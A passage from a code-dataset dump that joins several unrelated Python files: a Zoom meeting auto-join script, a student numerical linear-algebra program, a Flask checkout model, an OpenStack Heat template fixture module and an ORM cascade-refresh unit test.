checkNetwork(self):\r\n not_connected = True\r\n timeout = time()+30\r\n while not_connected and timeout > time():\r\n try:\r\n urlopen('http://google.com')\r\n not_connected = False\r\n except:\r\n not_connected = True\r\n sleep(1)\r\n return not_connected\r\n \r\n def startMeeting(self,time,meeting):\r\n meetingDetails = meeting.set_index('DateTime')\r\n name = meetingDetails['Name'][time]\r\n Id = meetingDetails['ID'][time]\r\n passwd = meetingDetails['Password'][time]\r\n no_audio = meetingDetails['Audio'][time]\r\n no_video = meetingDetails['Video'][time]\r\n \r\n notification.notify(\"ZoomAuto\",\"Meeting has started\",\"ZoomAuto\",'./icons/ZoomAuto.ico')\r\n try:\r\n zoomWin = Application(backend='uia').start(path_to_exe).connect(title='Zoom',timeout=15)\r\n except:\r\n try:\r\n zoomWin = Application(backend='uia').start(path_to_exe).connect(title='Zoom - Not connected')\r\n notification.notify(\"ZoomAuto\",\"Bad Internet Connection\",\"ZoomAuto\",'./icons/ZoomAuto.ico')\r\n except:\r\n notification.notify(\"ZoomAuto\",\"Zoom Not Installed, Meeting Failed\",\"ZoomAuto\",'./icons/ZoomAuto.ico')\r\n \r\n homeTab = zoomWin.Zoom.child_window(title=\"Home\", control_type=\"TabItem\").wrapper_object()\r\n homeTab.click_input()\r\n joinBtn = zoomWin.Zoom.child_window(title=\"Join\", control_type=\"Button\").wrapper_object()\r\n joinBtn.click_input()\r\n \r\n joinWin = Application(backend='uia').connect(title = \"Join Meeting\",timeout = 15)\r\n idBox = joinWin.JoinMeeting.child_window(title=\"Please enter your Meeting ID or Personal Link Name\", control_type=\"Edit\").wrapper_object()\r\n idBox.type_keys(Id,with_spaces=True)\r\n \r\n nameBox = joinWin.JoinMeeting.child_window(title=\"Please enter your name\", control_type=\"Edit\").wrapper_object()\r\n nameBox.click_input()\r\n nameBox.type_keys(\"^a{BACKSPACE}\")\r\n nameBox.type_keys(name,with_spaces=True)\r\n \r\n audio = joinWin.JoinMeeting.child_window(title='Do not connect to audio', control_type = \"CheckBox\").wrapper_object()\r\n video = joinWin.JoinMeeting.child_window(title='Turn off my video', control_type = \"CheckBox\").wrapper_object()\r\n audio_ts = audio.get_toggle_state()\r\n video_ts = video.get_toggle_state()\r\n \r\n if no_audio == 0 and audio_ts == 1:\r\n audio.toggle()\r\n if no_audio == 2 and audio_ts == 0:\r\n audio.toggle()\r\n \r\n if no_video == 0 and video_ts == 1:\r\n video.toggle()\r\n if no_video == 2 and video_ts == 0:\r\n video.toggle()\r\n \r\n joinBtn = joinWin.JoinMeeting.child_window(title=\"Join\", control_type=\"Button\").wrapper_object()\r\n joinBtn.click_input()\r\n \r\n try:\r\n passwdWin = Application(backend='uia').connect(title = \"Enter meeting passcode\",timeout = 15)\r\n passwdBox = passwdWin.EnterMeetingPasscode.child_window(title='Please enter meeting passcode', control_type=\"Edit\")\r\n passwdBox.type_keys(passwd,with_spaces=True)\r\n meetingJoinBtn = passwdWin.EnterMeetingPasscode.child_window(title='Join Meeting', control_type=\"Button\")\r\n meetingJoinBtn.click_input()\r\n notification.notify(\"ZoomAuto\",\"Meeting Joined\",\"ZoomAuto\",'./icons/ZoomAuto.ico')\r\n except:\r\n try:\r\n Application(backend='uia').connect(title = \"Zoom,Invalid meeting ID,Please check and try again\")\r\n notification.notify(\"ZoomAuto\",\"Invalid Meeting ID\",\"ZoomAuto\",'./icons/ZoomAuto.ico')\r\n except:\r\n notification.notify(\"ZoomAuto\",\"Bad Internet Connection\",\"ZoomAuto\",'./icons/ZoomAuto.ico')\r\n \r\n \r\n \r\n \r\n \r\nif __name__ == \"__main__\":\r\n app = QApplication(sys.argv)\r\n mainWin = ZoomBotUI()\r\n sys.exit(app.exec_())","sub_path":"Part 7/ZoomAutoUI.py","file_name":"ZoomAutoUI.py","file_ext":"py","file_size_in_byte":12515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"244790080","text":"##############################################\n# ############### 1st method ############### #\ndef LUdecomposition(mat, b):\n \"\"\"\n :param mat: the coefficients matrix\n :param b: the solution vector\n :return: none\n \"\"\"\n inversL, L, counter = toUpperTriangularMat(mat) # calculate the L matrix and the inverse L\n print(\"-----------------------------\")\n string = \"L = \"\n for i in range(1, counter):\n if i < counter - 1:\n string += \"invJ\" + str(i) + \" * \"\n else:\n string += \"invJ\" + str(i)\n print(string)\n printMatrix(L, \"L\") # print the L matrix\n print(\"-----------------------------\")\n string = \"inverse L = \"\n for i in range(counter - 1, 0, -1):\n if i > 1:\n string += \"J\" + str(i) + \" * \"\n else:\n string += \"J\" + str(i)\n print(string)\n printMatrix(inversL, \"inverse L\")\n print(\"-----------------------------\")\n print(\"U = invL * A\")\n U = multMat(inversL, mat) # calculate the U matrix\n inversU, counter = FromUpperToInvers(U, createIdentityMatrix(len(U))) # calculate thr inverse of U\n print(\"-----------------------------\")\n string = \"inverse U = \"\n for i in range(counter - 1, 0, -1):\n string += \"E\" + str(i) + \" * \"\n string += \"U\"\n print(string)\n printMatrix(U, \"U\") # print the U matrix\n print(\"-----------------------------\")\n print(\"x = invU * invL * b\")\n x = multMat(inversL, b) # finding the result vector\n x = multMat(inversU, x) # finding the result vector\n printMatrix(x, \"x\") # print the X matrix\n return x\n\n\ndef FromUpperToInvers(A, inverseMat, counter=1):\n \"\"\"\n :param A: upper matrix\n :param inverseMat: the matrix that will become the inverse\n :return: Inverse matrix\n \"\"\"\n elemntarMat = createIdentityMatrix(len(A)) # identity matrix\n for i in range(len(A) - 1, -1, -1): # run over the columns\n for j in range(i): # run over the lines above the pivot\n elemntarMat[j][i] = -(A[j][i] / A[i][i])\n A = multMat(elemntarMat, A)\n inverseMat = multMat(elemntarMat, inverseMat)\n printMatrix(elemntarMat, \"E\" + str(counter))\n counter += 1\n elemntarMat[j][i] = 0\n if A[i][i] != 1: # convert the pivots to one\n elemntarMat[i][i] = 1 / A[i][i]\n A = multMat(elemntarMat, A)\n inverseMat = multMat(elemntarMat, inverseMat)\n printMatrix(elemntarMat, \"E\" + str(counter))\n counter += 1\n elemntarMat[i][i] = 1\n return inverseMat, counter\n\n\ndef toUpperTriangularMat(A):\n \"\"\"\n :param A: the matrix we want to turn into a upper triangle matrics\n :return: the multiplication of the elementary matrics that create U\n \"\"\"\n L = createIdentityMatrix(len(A)) # create indetity matrix\n InL = createIdentityMatrix(len(A)) # create indetity matrix\n counter = 1\n for i in range(len(A)): # run over the lines\n if A[i][i] == 0: # if the pivot is 0\n for j in range(i + 1, len(A)): # run over the columns\n if A[j][i] != 0: # if the element under the pivot is not 0\n elementary = linesExchange(A, i, j)\n L = multMat(L, elementary) # make lines exchange and multiply\n printMatrix(elementary, \"J\" + str(counter))\n InL = multMat((linesExchange(A, i, j)), InL) # make lines exchange and multiply\n printMatrix(identity, \"inverse J\" + str(counter))\n A = multMat((linesExchange(A, i, j)), A)\n counter += 1\n break\n if A[i][i] != 0: # check if B is regular\n for j in range(i + 1, len(A)): # run over the columns\n identity = createIdentityMatrix(len(A))\n identity[j][i] = -(A[j][i] / A[i][i]) # elementary matrix\n printMatrix(identity, \"J\" + str(counter))\n InL = multMat(identity, InL) # L^(-1)\n A = multMat(identity, A)\n identity[j][i] *= -1 # changing the element in order to find L\n printMatrix(identity, \"inverse J\" + str(counter))\n L = multMat(L, identity)\n counter += 1\n return InL, L, counter\n\n\ndef linesExchange(A, line1, line2):\n \"\"\"\n :param A: A matrix\n :param line1: A line\n :param line2: The line we want to exchange with\n :return: elementry matrix\n \"\"\"\n idendityMax = createIdentityMatrix(len(A)) # create identity matrix\n\n # exchange the members in line1\n temp = idendityMax[line1][line1]\n idendityMax[line1][line1] = idendityMax[line2][line1]\n idendityMax[line2][line1] = temp\n\n # exchange the members in line2\n temp = idendityMax[line2][line2]\n idendityMax[line2][line2] = idendityMax[line1][line2]\n idendityMax[line1][line2] = temp\n return idendityMax\n\n\ndef createIdentityMatrix(size):\n \"\"\"\n :param size: the size of the square matrix\n :return:\n \"\"\"\n identityMat = newMat(size, size) # create a zero matrix in the required size\n for index in range(size): # go over the main diagonal\n identityMat[index][index] = 1 # change the elements in the main diagonal to 1\n return identityMat\n\n\ndef multMat(A, B):\n \"\"\"\n :param A: a matrix in sise n*m\n :param B: a mtrix in size m*k\n :return: A*B (in size n*k)\n \"\"\"\n if len(A[1]) == len(B): # check if A and B have the same number of rows and columns\n C = newMat(len(A), len(B[0])) # the matrix the function returns\n for i in range(len(C)):\n for j in range(len(C[1])):\n for k in range(len(B)):\n C[i][j] += A[i][k] * B[k][j]\n return C\n else:\n return None # the multiplication is impossible\n\n\n# ############### 1st method ############### #\n\n##############################################\n# ############### 2nd method ############### #\ndef GausssElimination(A, b):\n \"\"\"\n :param A: the coefficients matrix\n :param b: the solution vector\n :return: none\n \"\"\"\n print(\"** Gauss Elimination **\")\n tempMatrix = Invers(A) # A^(-1)\n condA = infinityNorma(tempMatrix) # calculate the infinity norma of A^(-1)\n printMatrix(tempMatrix, \"inverse A\") # print the inverse A\n tempMatrix = multMat(tempMatrix, b)\n printMatrix(tempMatrix, \"x\") # print x vector\n condA *= infinityNorma(A) # calculate the infinity norma of A and find condA\n print(\"-----------------------------\")\n print(\"condA = \" + str(condA))\n print(\"-----------------------------\")\n return tempMatrix\n\n\ndef infinityNorma(mat):\n \"\"\"\n :param mat: a list - matrix\n :return: the infinity norma\n \"\"\"\n maximum = 0\n for i in range(len(mat)): # rum over the lines\n newSum = lineSum(mat[i]) # send to function that calculate the line sum\n maximum = max(maximum, newSum) # choose the maximum\n return maximum\n\n\ndef lineSum(line):\n \"\"\"\n :param line: A list od numbers - line for the matrix\n :return: the sum of all the numbers in abs in the list\n \"\"\"\n lineSum = 0\n for index in range(len(line)): # run over all the line`s members\n lineSum += abs(line[index])\n return lineSum\n\n\ndef Invers(A):\n \"\"\"\n :param A: a list - matrix\n :return: the invers of the matrix\n \"\"\"\n if det(A) is 0:\n print(\"A is singular\")\n return\n inverseMat, counter = toUpperWithPivoting(A) # return the multiplication of the elementary matrices that create U\n printMatrix(inverseMat, \"E\" + str(counter))\n counter += 1\n tempMatrix = multMat(inverseMat, A) # upper triangle matrix\n mat, c = FromUpperToInvers(tempMatrix, inverseMat, counter) # return inverse matrix\n return mat\n\n\ndef det(A):\n \"\"\"\n :param A: a square matrix\n :return: the determinant of A\n \"\"\"\n if len(A[0]) is not len(A): # check if A is a square matrix\n return None\n if len(A) == 2: # if the matrix size is 2*2\n return (A[0][0] * A[1][1]) - (A[0][1] * A[1][0])\n sum = 0 # will save the determinant\n for j in range(len(A)):\n sum += (-1) ** (0 + j) * A[0][j] * det(minor(A, 0, j))\n return sum\n\n\ndef minor(A, i, j):\n \"\"\"\n :param A: a square matrix\n :param i: a row index for the minor\n :param j: a column index for the minor\n :return: the minor that is created from deleting row i and column j from A\n \"\"\"\n matSize = len(A)\n mat = newMat(matSize - 1, matSize - 1) # the mat for the minor\n iMinor = 0\n jMinor = 0\n for iIndex in range(matSize): # go over the rows of the matrix\n for jIndex in range(matSize): # go over the columns of the matrix\n if iIndex == i: # don't copy the row we want to delete\n iMinor -= 1\n break\n elif jIndex != j: # don't copy the row we want to delete\n mat[iMinor][jMinor] = A[iIndex][jIndex] # copy the rest of the elements in the matrix\n jMinor += 1\n jMinor = 0\n iMinor += 1\n return mat\n\n\ndef toUpperWithPivoting(A):\n \"\"\"\n :param A: the matrix we want to turn into a upper triangle matrics\n :return: the multiplication of the elementary matrics that create U\n \"\"\"\n InL = createIdentityMatrix(len(A)) # creating a identity matrix\n counter = 1\n for i in range(len(A) - 1): # run over the columns\n maxPivot = abs(A[i][i])\n lineIndex = i\n for j in range(i + 1, len(A)): # run over the elements undet the pivot\n if abs(A[j][i]) > maxPivot: # if the element is greater then the pivot\n maxPivot = abs(A[j][i])\n lineIndex = j\n elementary = linesExchange(A, i, lineIndex)\n InL = multMat(elementary, InL)\n printMatrix(elementary, \"E\" + str(counter))\n counter += 1\n A = multMat(elementary, A)\n if A[i][i] != 0: # check if B is regular\n for j in range(i + 1, len(A)): # run over the lines\n identity = createIdentityMatrix(len(A)) # creating identity matrix\n identity[j][i] = -(A[j][i] / A[i][i]) # elementary matrix\n printMatrix(identity, \"E\" + str(counter))\n counter += 1\n InL = multMat(identity, InL) # L^(-1)\n A = multMat(identity, A)\n return InL, counter\n\n\ndef multMat(A, B):\n \"\"\"\n :param A: a matrix in sise n*m\n :param B: a mtrix in size m*k\n :return: A*B (in size n*k)\n \"\"\"\n if len(A[1]) == len(B): # check if A and B have the same number of rows and columns\n C = newMat(len(A), len(B[0])) # the matrix the function returns\n for i in range(len(C)):\n for j in range(len(C[1])):\n for k in range(len(B)):\n C[i][j] += A[i][k] * B[k][j]\n return C\n else:\n return None # the multiplication is impossible\n\n\ndef createIdentityMatrix(size):\n \"\"\"\n :param size: the size of the square matrix\n :return:\n \"\"\"\n identityMat = newMat(size, size) # create a zero matrix in the required size\n for index in range(size): # go over the main diagonal\n identityMat[index][index] = 1 # change the elements in the main diagonal to 1\n return identityMat\n\n\ndef linesExchange(A, line1, line2):\n \"\"\"\n :param A: A matrix\n :param line1: A line\n :param line2: The line we want to exchange with\n :return: elementry matrix\n \"\"\"\n idendityMax = createIdentityMatrix(len(A)) # create identity matrix\n\n # exchange the members in line1\n temp = idendityMax[line1][line1]\n idendityMax[line1][line1] = idendityMax[line2][line1]\n idendityMax[line2][line1] = temp\n\n # exchange the members in line2\n temp = idendityMax[line2][line2]\n idendityMax[line2][line2] = idendityMax[line1][line2]\n idendityMax[line1][line2] = temp\n return idendityMax\n\n\n# ############### 2nd method ############### #\n\n##############################################\n\n# ############### 3rd method ############### #\ndef iterativGuassSeidel(A, b, epsilon, flagD):\n \"\"\"\n :param A: a matrix\n :param b: the result vector\n :param epsilon: the mistake\n :param flagD: tell us if the system have dominant diagonal\n :return: vector x if found\n \"\"\"\n print(\"** Iterative Guass Seidel **\")\n flagC = False # flagC = false if the linear equations does not converge\n x = newMat(len(b), 1) # create the result vector\n print(\"The results are:\\nThe first guess is: \")\n printMatrix(x)\n for _ in range(99): # max number of iterations is 99\n oldX1 = x[0][0] # copy the old x value of the current iteration\n for i in range(len(x)): # go over the all variables\n if A[i][i] == 0: # preventing division by zero\n return None\n temp = b[i][0] / A[i][i]\n for j in range(len(x)): # calculate the value of the variable in the new iteration\n if i != j:\n temp -= (A[i][j] * x[j][0]) / A[i][i]\n x[i][0] = temp # update the calculated value\n print(\"The result of the \" + str(_ + 1) + \" iteration is: \")\n printMatrix(x)\n if abs(oldX1 - x[0][0]) < epsilon: # check stop condition\n flagC = True\n break\n if flagC is True:\n print(\"***********\") # print final results\n if flagD is False:\n print(\"Although there is no dominant diagonal, the results are: \\n\")\n print(\"The final result is: x = \")\n printMatrix(x)\n print(\"The number of the iteration is : \" + str(_ + 1))\n return x\n else:\n print(\"The system of linear equations does not converge :(\")\n\n\n# ############### 3rd method ############### #0\n\n\ndef printMatrix(a, name=None):\n \"\"\"\n :param a: a matrix to print\n :return: prints in matrix format\n \"\"\"\n print(\"-----------------------------\")\n if name is not None:\n print(name + \" = \")\n for i in range(len(a)):\n if i is len(a) - 1:\n print(\" \" + str(a[i]) + \"]\")\n elif i is 0:\n print(\"[\" + str(a[i]))\n else:\n print(\" \" + str(a[i]))\n print(\"\")\n\n\ndef newMat(numRow, numCol):\n \"\"\"\n :param numRow: the number of rows in the mat\n :param numCol: the number of columns in the mat\n :return: a zero matrix in the required size\n \"\"\"\n mat = [] # the zero matrix the function returns\n for i in range(numRow):\n mat.append([]) # create a new row\n for j in range(numCol):\n mat[i].append(0) # fill the row with\n return mat\n\n\ndef dominantDiagonal(A):\n \"\"\"\n :param A: a list - matrix\n :return: true if the matrix have dominant diagonal else return false\n \"\"\"\n for i in range(len(A)):\n lineSum = 0 # sum of every line except to the element in the diagonal\n for j in range(len(A)):\n if i != j:\n lineSum += A[i][j]\n if A[i][i] <= lineSum:\n # print(\"There is no dominant diagonal ...\")\n return False\n print(\"There is a dominant diagonal :)\")\n return True\n\n\n# dominant diagonal part\n\ndef copyMat(A):\n \"\"\"\n :param A: a matrix\n :return: a copy of the matrix\n \"\"\"\n B = newMat(len(A), len(A[0])) # create a zero matrix of the same size as A\n for i in range(len(A)): # copy A\n for j in range(len(A[0])):\n B[i][j] = A[i][j]\n return B\n\n\ndef createDominantDiagonal(A, b=None):\n \"\"\"\n :param A: a coefficients matrix\n :param b: the column vector of constant terms.\n :return: matrix A with dominant diagonal\n \"\"\"\n max = 0 # the max value in the current row or column in the matrix\n maxIndex = 0 # the index of the max value\n for i in range((len(A))): # calc the max value for each member on the main diagonal\n sum = 0 # the sum of the members in the current row in A\n for j in range(len(A)): # go over the current row\n sum += abs(A[i][j]) # add the value of each member in the row\n if abs(A[i][j]) > max: # search for the max value in the current row\n max = abs(A[i][j])\n maxIndex = j\n if (sum - max) <= max: # if the max value in the row meets the condition of a dominant diagonal\n A = manualSwapCol(A, maxIndex,\n i) # swap between the columns of the current value on the main diagonal and the max value in that row\n else: # look for the max value in the current column\n max = 0\n maxIndex = 0\n for j in range(len(A)): # go over the current column\n # sum += abs(A[j][i])\n if abs(A[j][i]) > max: # search for the max value in the current column\n max = abs(A[j][i])\n maxIndex = j\n if rowSum(A[j]) - max <= max: # if the max value in the row meets the condition of a dominant diagonal\n A, b = manualSwapRow(A, b, i,\n maxIndex) # swap between the rows of the current value on the main diagonal and the max value in that column\n else:\n print(\"ERROR - no dominant diagonal\") # A can't be changed into dominant diagonal matrix\n return None, None\n return A, b\n\n\ndef manualSwapRow(a, b, r1, r2):\n \"\"\"\n manaul rows exchange (without e)\n :param a: The coefficient matrix\n :param b: The column vector of constant terms\n :param r1: the first row to swap\n :param r2: the second row to swap\n :return: the matrix after the swap, The column vector of constant terms after swap\n \"\"\"\n\n if r2 < len(a) and r1 < len(a):\n temp = a[r1]\n a[r1] = a[r2]\n a[r2] = temp\n if b is not None: # if the result vector is not none swap him too\n temp = b[r1]\n b[r1] = b[r2]\n b[r2] = temp\n return a, b\n\n\ndef manualSwapCol(a, c1, c2):\n \"\"\"\n :param a: The coefficient matrix\n :param c1: the first column to swap\n :param c2: the second column to swap\n :return: the matrix after the swap\n \"\"\"\n if c2 < len(a) and c1 < len(a):\n for i in range(len(a)):\n temp = a[i][c1]\n a[i][c1] = a[i][c2]\n a[i][c2] = temp\n return a\n\n\ndef rowSum(line):\n \"\"\"\n :param line: A list od numbers - line for the matrix\n :return: the sum of all the numbers in abs in the list\n \"\"\"\n lineSum = 0\n for index in range(len(line)): # run over all the line`s members\n lineSum += abs(line[index])\n return lineSum\n\n\n# end dominant part\n\n\ndef checkDifferPart3(l, d, name1, name2, epsilon):\n print(\"check the difference between the methods:\")\n flag = True\n for i in range(len(l)):\n print(\"x\" + str(i + 1) + \" - \" + name1 + \": \" + str(l[i][0]) + \"\\nx\" +\n str(i + 1) + \" - \" + name2 + \": \" + str(d[i][0]))\n if abs(l[i][0] - d[i][0]) > epsilon:\n flag = False\n print(\"The difference is bigger than epsilon for some of the components\\n\")\n return\n print(\"The difference is smaller than epsilon for all the components\\n\")\n\n\ndef calcFinalResult(result, epsilon, day, hour, minutes):\n \"\"\"\n :param result: the result\n :param epsilon: the epsilon we decided on for the question\n :param day: the day of the calculation in str\n :param hour: the hour of the calculation in str\n :param minutes: the minutes of the calculation in str\n :return: the result by the requested format\n \"\"\"\n stringRes = str(result) # cast the result to string\n i = 0\n while stringRes[i] is not \".\": # run over the string while we get to the point\n i += 1 # count how many digits there is before the point\n i += 1\n count = 1\n while epsilon < 1: # checking how digit needs after the point\n epsilon *= 10\n count += 1\n stringRes = stringRes[:i + count] + \"00000\" + day + hour + minutes\n return stringRes\n\n\ndef calcFinalResultVector(vector, name, epsilon, day, hour, minutes):\n \"\"\"\n :param vector: vector x\n :param epsilon: allowed error\n :param day: dd\n :param hour: hh\n :param minutes: mm\n :return: prints the formatted result vector x\n \"\"\"\n for i in range(len(vector)):\n vector[i][0] = calcFinalResult(vector[i][0], epsilon, day, hour, minutes)\n printMatrix(vector, name + \" - Final Result in Format\")\n\n\n# ############## main ###############\ndef driver():\n \"\"\"\n main function for iterative isolation of variables method\n :return: prints results\n \"\"\"\n A = [[10, 8, 1],\n [4, 10, -5],\n [5, 1, 10]]\n\n b = [[-7],\n [2],\n [1.5]]\n\n epsilon = 10 ** (-4)\n\n flagDom = dominantDiagonal(A) # check if there is a dominant diagonal\n name1 = \"LUdecomposition\"\n name2 = \"iterativGuassSeidel\"\n name3 = \"GausssElimination\"\n # check\n if flagDom is False:\n copyA = copyMat(A)\n copyB = copyMat(b)\n copyA, copyB = createDominantDiagonal(copyA, copyB) # change the matrix to be with dominant diagonal\n if (copyA is not None) and (copyB is not None): # check if the return matrices are not none\n A = copyA\n b = copyB\n flagDom = True\n\n # end check\n x1 = LUdecomposition(A, b)\n x2 = iterativGuassSeidel(A, b, epsilon, flagDom)\n x3 = GausssElimination(A, b)\n checkDifferPart3(x1, x2, name1, name2, epsilon)\n checkDifferPart3(x1, x3, name1, name3, epsilon)\n calcFinalResultVector(x1, name1, epsilon, \"14\", \"00\", \"40\")\n calcFinalResultVector(x2, name2, epsilon, \"14\", \"00\", \"41\")\n calcFinalResultVector(x3, name3, epsilon, \"14\", \"00\", \"42\")\n\n\ndriver()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"598317025","text":"from blueprints import db\nfrom flask_restful import fields\nimport datetime\n\nclass Checkouts(db.Model):\n __tablename__= \"Checkout\"\n id = db.Column(db.Integer, primary_key = True, autoincrement = True)\n cart_id = db.Column(db.Integer, db.ForeignKey(\"Cart.id\"), nullable = False)\n nama_penerima = db.Column(db.String(255), nullable = False)\n alamat = db.Column(db.String(255), nullable = False)\n kode_pos = db.Column(db.String(255), nullable = False)\n nomor_telepon = db.Column(db.String(255), nullable = False)\n metode_pengiriman = db.Column(db.String(255), nullable = False)\n jumlah_barang = db.Column(db.Integer, nullable = True, default = 0)\n total_harga = db.Column(db.Integer, nullable = True, default = 0)\n created_at = db.Column(db.DateTime, default = datetime.datetime.now())\n update_at = db.Column(db.DateTime, onupdate = datetime.datetime.now())\n deleted = db.Column(db.Boolean, default = False)\n\n response_fields = {\n 'id' : fields.Integer,\n 'cart_id' : fields.Integer,\n 'nama_penerima' : fields.String,\n 'alamat' : fields.String,\n 'kode_pos' : fields.String,\n 'nomor_telepon' : fields.String,\n 'metode_pengiriman' : fields.String,\n 'jumlah_barang' : fields.Integer,\n 'total_harga' : fields.Integer,\n 'created_at' : fields.DateTime,\n 'updated_at' : fields.DateTime,\n 'deleted' : fields.Boolean,\n }\n\n def __init__(self, cart_id, nama_penerima, alamat, kode_pos, nomor_telepon, metode_pengiriman,\n jumlah_barang,total_harga):\n self.cart_id = cart_id\n self.nama_penerima = nama_penerima\n self.alamat = alamat\n self.kode_pos = kode_pos\n self.nomor_telepon = nomor_telepon\n self.metode_pengiriman = metode_pengiriman\n self.jumlah_barang = jumlah_barang\n self.total_harga = total_harga\n\n def __repr_(self):\n return '' %self.id","sub_path":"Alta Batch 4/Phase 2/Liburan/portofolio/ecomerce/blueprints/Checkout/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"367187451","text":"# Copyright 2019 Red Hat\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\nfrom __future__ import absolute_import\n\nfrom collections import abc\nimport os\nimport sys\nimport typing\n\nfrom heatclient.common import template_utils\n\nimport tobiko\n\n\nTEMPLATE_SUFFIX = '.yaml'\n\nTEMPLATE_DIRS = list(sys.path)\n\n\nclass HeatTemplateFixture(tobiko.SharedFixture):\n\n template_yaml: str\n\n def __init__(self,\n template: typing.Mapping[str, typing.Any] = None,\n template_files: typing.Mapping = None):\n super(HeatTemplateFixture, self).__init__()\n self.template: typing.Dict[str, typing.Any] = {}\n if template is not None:\n self.template.update(template)\n self.template_files: typing.Dict[str, typing.Any] = {}\n if template_files is not None:\n self.template_files.update(template_files)\n\n def setup_fixture(self):\n self.setup_template()\n\n def setup_template(self):\n # Ensure main sections are dictionaries\n tobiko.check_valid_type(self.outputs, abc.Mapping)\n tobiko.check_valid_type(self.parameters, abc.Mapping)\n tobiko.check_valid_type(self.resources, abc.Mapping)\n self.template_yaml = tobiko.dump_yaml(self.template)\n\n @property\n def outputs(self) -> typing.Dict[str, typing.Any]:\n return dict(self.template.get('outputs', {}))\n\n @property\n def parameters(self) -> typing.Dict[str, typing.Any]:\n return dict(self.template.get('parameters', {}))\n\n @property\n def resources(self) -> typing.Dict[str, typing.Any]:\n return dict(self.template.get('resources', {}))\n\n\nclass HeatTemplateFileFixture(HeatTemplateFixture):\n\n def __init__(self,\n template_file: str,\n template_dirs: typing.Iterable[str] = None):\n super(HeatTemplateFileFixture, self).__init__()\n self.template_file = template_file\n if template_dirs is None:\n template_dirs = TEMPLATE_DIRS\n self.template_dirs: typing.List[str] = list(template_dirs)\n\n def setup_template(self):\n template_file = self.template_file\n if self.template_dirs or not os.path.isfile(template_file):\n template_dirs = self.template_dirs or TEMPLATE_DIRS\n template_file = find_heat_template_file(\n template_file=self.template_file,\n template_dirs=template_dirs)\n template_files, template = template_utils.get_template_contents(\n template_file=template_file)\n self.template = template\n self.template_files = template_files\n super(HeatTemplateFileFixture, self).setup_template()\n\n\nHeatTemplateType = typing.Union[typing.Mapping[str, typing.Any],\n HeatTemplateFixture]\n\n\ndef heat_template(obj: HeatTemplateType,\n template_files: typing.Mapping = None) \\\n -> HeatTemplateFixture:\n if isinstance(obj, abc.Mapping):\n template = HeatTemplateFixture(template=obj,\n template_files=template_files)\n else:\n template = tobiko.get_fixture(obj)\n\n tobiko.check_valid_type(template, HeatTemplateFixture)\n return template\n\n\ndef heat_template_file(template_file: str,\n template_dirs: typing.Iterable[str] = None):\n return HeatTemplateFileFixture(template_file=template_file,\n template_dirs=template_dirs)\n\n\ndef find_heat_template_file(template_file: str,\n template_dirs: typing.Iterable[str]):\n for template_dir in template_dirs:\n template_path = os.path.join(template_dir, template_file)\n if os.path.exists(template_path):\n return template_path\n\n msg = \"Template file {!r} not found in directories {!r}\".format(\n template_file, template_dirs)\n raise IOError(msg)\n","sub_path":"tobiko/openstack/heat/_template.py","file_name":"_template.py","file_ext":"py","file_size_in_byte":4394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"400255362","text":"# -*- coding: utf-8 -*-\nfrom unittest import TestCase\nfrom pymongo import Connection\nfrom tori.db.session import Session\nfrom tori.db.entity import entity\nfrom tori.db.mapper import link, CascadingType, AssociationType\n\n@link(\n mapped_by='region',\n target='testcase.test_db_uow_cascade_on_refresh.Region',\n association=AssociationType.MANY_TO_ONE,\n cascading=[CascadingType.REFRESH, CascadingType.PERSIST]\n)\n@entity('countries')\nclass Country(object):\n def __init__(self, name, region):\n self.name = name\n self.region = region\n\n@link(\n mapped_by='countries',\n target='testcase.test_db_uow_cascade_on_refresh.Country',\n inverted_by='region',\n association=AssociationType.ONE_TO_MANY,\n cascading=[CascadingType.REFRESH],\n read_only=True\n)\n@entity('regions')\nclass Region(object):\n def __init__(self, name, countries=[]):\n self.name = name\n self.countries = countries\n\nclass TestDbUowCascadeOnRefresh(TestCase):\n connection = Connection()\n\n def setUp(self):\n self.session = Session(0, self.connection['test_tori_db_uow_cascade_on_refresh'])\n\n data_set = {\n 'regions': [\n {'_id': 1, 'name': 'Asia'},\n {'_id': 2, 'name': 'Europe'},\n {'_id': 3, 'name': 'North America'}\n ],\n 'countries': [\n {'_id': 1, 'region': 3, 'name': 'Canada'},\n {'_id': 2, 'region': 2, 'name': 'England'},\n {'_id': 3, 'region': 1, 'name': 'Japan'},\n {'_id': 4, 'region': 1, 'name': 'Thailand'}\n ]\n }\n\n self.session.collection(Region)._api.remove()\n\n for region in data_set['regions']:\n self.session.collection(Region)._api.insert(region)\n\n self.session.collection(Country)._api.remove()\n\n for country in data_set['countries']:\n self.session.collection(Country)._api.insert(country)\n\n def test_cascade_from_owning_side(self):\n japan = self.session.collection(Country).get(3)\n\n self.assertEqual('Japan', japan.name)\n self.assertEqual('Asia', japan.region.name)\n\n # At this point, Region 1 is loaded into the memory.\n # Bypass the identity map and then update the data manually.\n self.session.collection(Region)._api.update({'_id': 1}, {'$set': {'name': 'Asia and Oceanic'}})\n\n # Now, try to persist the data.\n japan.name = u'日本'\n\n self.session.persist(japan)\n self.session.flush()\n\n # Confirm that only the name of the country is updated\n self.assertEqual(u'日本', japan.name)\n self.assertEqual('Asia', japan.region.name)\n\n # Refresh the entity\n self.session.refresh(japan)\n\n # Confirm that only the name of the region is updated after refreshing\n self.assertEqual(u'日本', japan.name)\n self.assertEqual('Asia and Oceanic', japan.region.name)\n\n def _test_cascade_from_inverted_side(self):\n europe = self.session.collection(Region).get(2)\n\n self.assertEqual('Europe', europe.name)\n self.assertEqual('England', europe.countries[0].name)\n\n # At this point, Region 1 is loaded into the memory.\n # Bypass the identity map and then update the data manually.\n self.session.collection(Region)._api.update({'_id': 2}, {'$set': {'name': 'United Kingdom of Great Britain and Ireland'}})\n\n # Now, try to persist the data.\n europe.name = 'Europian 